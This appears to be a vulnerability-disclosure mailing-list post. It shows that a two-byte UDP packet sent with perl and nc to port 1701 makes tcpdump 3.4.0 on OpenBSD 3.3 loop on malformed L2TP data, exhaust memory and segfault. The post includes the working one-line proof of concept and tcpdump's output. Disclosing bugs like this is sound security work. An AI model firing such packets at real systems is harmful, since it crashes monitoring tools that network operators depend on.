Sorry for the misinformation, it will not work on a loopback interface,
but it's perfectly repetable when receiving/routing such datagram on
ethernet interfaces:

<root@ext-fw:/var/log:273># uname -smr ; tcpdump -V 2>&1 | head -n 2
OpenBSD 3.3 i386
tcpdump version 3.4.0
libpcap version 0.5
<root@ext-fw:/var/log:274># tcpdump -i xl1
tcpdump: listening on xl1

On the another box:

riget:root:~# perl -e 'print "\xff\x02"' | nc -u x.x.x.x 1701

and tcpdump goes mad:

[...]
invalid AVP 256  invalid AVP 256  invalid AVP 256  invalid AVP 256  invalid
AVP 256  invalid AVP 256  invalid AVP 256  invalid AVP 256  invalid AVP 256
invalid AVP 256  invalid AVP 256  invalid AVP 256  invalid AVP 256
 [...]

consuming all memory. When ulimits are reached, it segfaults.
